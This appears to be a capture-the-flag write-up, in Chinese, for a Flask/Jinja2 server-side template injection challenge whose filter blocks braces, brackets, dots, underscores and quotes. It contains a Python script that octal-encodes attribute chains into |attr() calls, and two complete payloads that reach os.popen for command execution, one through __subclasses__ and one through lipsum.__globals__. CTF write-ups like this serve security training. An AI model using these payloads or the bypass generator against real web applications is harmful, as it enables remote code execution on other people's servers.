题目链接

提示传递/test?url=

尝试发现{{}}, [], ., _,''等都被禁用

那么可以通过|attr()加上编码(我这里用的八进制,也可以十六进制或unicode)来构造

构造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
def str2oct(s):
res = [oct(ord(i)) for i in s]
res = ''.join(res).replace("0o", "\\")
return res

def str2attr(t):
t = re.sub(r'[[][\'"](.*?)[\'"][]]', r'.get("\1")', t)
t = re.sub(r'[[](\d+)[]]', r'.__getitem__(\1)', t)
tt = t.split('.')
tt.pop(0)
print(tt)
res = ''
for i in tt:
idx = i.find('(')
idx2 = i.find(')')
if idx == -1:
idx = len(i)
idx2 = idx

tmp = i[idx:idx2+1]
if '(' in tmp and ('"' in tmp or "'" in tmp):
tmp = tmp.strip('(').strip(')').strip('"').strip("'")
tmp = f'("{str2oct(tmp)}")'
res += f'|attr("{str2oct(i[:idx])}"){tmp}'
tmp = i[idx2+1:]
if '(' in tmp and ('"' in tmp or "'" in tmp):
tmp = tmp.strip('(').strip(')').strip('"').strip("'")
tmp = f'("{str2oct(tmp)}")'
res += tmp
print(res)
txt = '.__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls").read()'
str2attr(txt)
1
/test?url={%print("a"|attr("\137\137\143\154\141\163\163\137\137")|attr("\137\137\142\141\163\145\137\137")|attr("\137\137\163\165\142\143\154\141\163\163\145\163\137\137")()|attr("\137\137\147\145\164\151\164\145\155\137\137")(100)|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\147\145\164")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\147\145\164")("\137\137\151\155\160\157\162\164\137\137")("\157\163")|attr("\160\157\160\145\156")("ls")|attr("\162\145\141\144")())%}

或者也可以直接用flask中的 lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

1
2
3
txt = '.__globals__.get("os").popen("ls").read()'
str2attr(txt)
# lipsum|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\147\145\164")("\157\163")|attr("\160\157\160\145\156")("\154\163")|attr("\162\145\141\144")()
⬆︎TOP